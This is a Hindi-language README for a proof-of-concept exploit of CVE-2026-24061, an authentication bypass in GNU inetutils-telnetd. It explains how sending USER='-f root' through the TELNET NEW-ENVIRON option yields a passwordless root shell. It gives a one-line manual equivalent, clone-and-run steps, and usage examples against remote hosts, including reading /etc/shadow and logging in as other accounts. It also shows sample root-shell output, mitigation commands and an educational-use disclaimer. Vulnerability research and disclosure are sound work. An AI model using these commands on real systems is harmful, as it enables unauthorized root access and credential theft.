
inetutils-telnetd प्रमाणीकरण बाईपास - कार्यशील
GNU inetutils-telnetd में प्रमाणीकरण बाईपास भेद्यता के लिए एक proof-of-concept एक्सप्लॉइट।
CVE-2026-24061 एक गंभीर प्रमाणीकरण बाईपास भेद्यता है जो inetutils-telnetd संस्करण 1.9.3 से 2.7 को प्रभावित करती है। यह एक दूरस्थ हमलावर को बिना कोई क्रेडेंशियल प्रदान किए कमजोर सिस्टम पर रूट शेल प्राप्त करने की अनुमति देती है।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-24061 |
| प्रभावित सॉफ़्टवेयर | GNU inetutils-telnetd |
| प्रभावित संस्करण | 1.9.3 – 2.7 |
| भेद्यता प्रकार | प्रमाणीकरण बाईपास |
| CVSS स्कोर | गंभीर |
| हमला वेक्टर | नेटवर्क |
यह भेद्यता उस दोष का फायदा उठाती है जिसमें telnetd प्रोटोकॉल नेगोशिएशन के दौरान TELNET NEW-ENVIRON विकल्प (RFC 1572) के माध्यम से प्राप्त USER पर्यावरण चर को संभालता है।
TELNET प्रोटोकॉल नेगोशिएशन: जब कोई क्लाइंट कनेक्ट होता है, तो सर्वर और क्लाइंट NEW-ENVIRON विकल्प सहित क्षमताओं पर बातचीत करते हैं, जो क्लाइंट को पर्यावरण चर भेजने की अनुमति देता है।
दुर्भावनापूर्ण USER मान: एक्सप्लॉइट इस नेगोशिएशन चरण के दौरान पर्यावरण चर के रूप में USER=-f root भेजता है।
असुरक्षित तर्क पासिंग: कमजोर telnetd इस मान को बिना सैनिटाइज़ किए login प्रोग्राम को पास करता है।
कमांड इंजेक्शन: login प्रोग्राम -f root को कमांड-लाइन फ़्लैग के रूप में व्याख्या करता है:
-f = "बिना प्रमाणीकरण के लॉगिन बलपूर्वक करें"root = लॉगिन करने के लिए उपयोगकर्ता नामरूट एक्सेस: हमलावर को बिना पासवर्ड के पूछे रूट शेल मिल जाता है।
क्लाइंट भेजता है: USER = "-f root"
telnetd चलाता है: login -f root
परिणाम: बिना प्रमाणीकरण के रूट शेल प्रदान किया गया
यह कमजोर telnetd वाले सिस्टम पर USER='-f root' telnet -a localhost चलाने के बराबर है।
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [OPTIONS] <target>
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
host | लक्ष्य होस्टनाम या IP पता | आवश्यक |
-p, --port | लक्ष्य पोर्ट | 23 |
-u, --user | इंजेक्ट करने के लिए USER मान | -f root |
-c, --command | एकल कमांड चलाएँ (गैर-इंटरैक्टिव) | कोई नहीं |
-t, --timeout | कनेक्शन टाइमआउट सेकंड में | 10 |
localhost पर इंटरैक्टिव रूट शेल:
./exploit.py localhost
दूरस्थ होस्ट पर इंटरैक्टिव रूट शेल:
./exploit.py 192.168.1.100
एकल कमांड निष्पादित करें और बाहर निकलें:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
किसी भिन्न उपयोगकर्ता के रूप में लॉगिन करें:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
गैर-मानक पोर्ट:
./exploit.py -p 2323 localhost
विकल्पों को संयोजित करें:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
जब -c फ़्लैग के बिना चलाया जाता है, तो एक्सप्लॉइट आपको एक इंटरैक्टिव शेल में ले जाता है:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 192.168.1.100:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
telnetd अक्षम करें: यदि सख्ती से आवश्यक नहीं है, तो telnet सेवा को पूरी तरह से अक्षम करें
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
इसके बजाय SSH का उपयोग करें: दूरस्थ पहुंच के लिए telnet को SSH से बदलें
sudo apt install openssh-server
फ़ायरवॉल नियम: अविश्वसनीय नेटवर्क से पोर्ट 23 को ब्लॉक करें
sudo ufw deny 23/tcp
एक्सप्लॉइट एक न्यूनतम TELNET क्लाइंट लागू करता है जो:
USER=-f root भेजता हैयह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
MIT लाइसेंस — विवरण के लिए LICENSE देखें।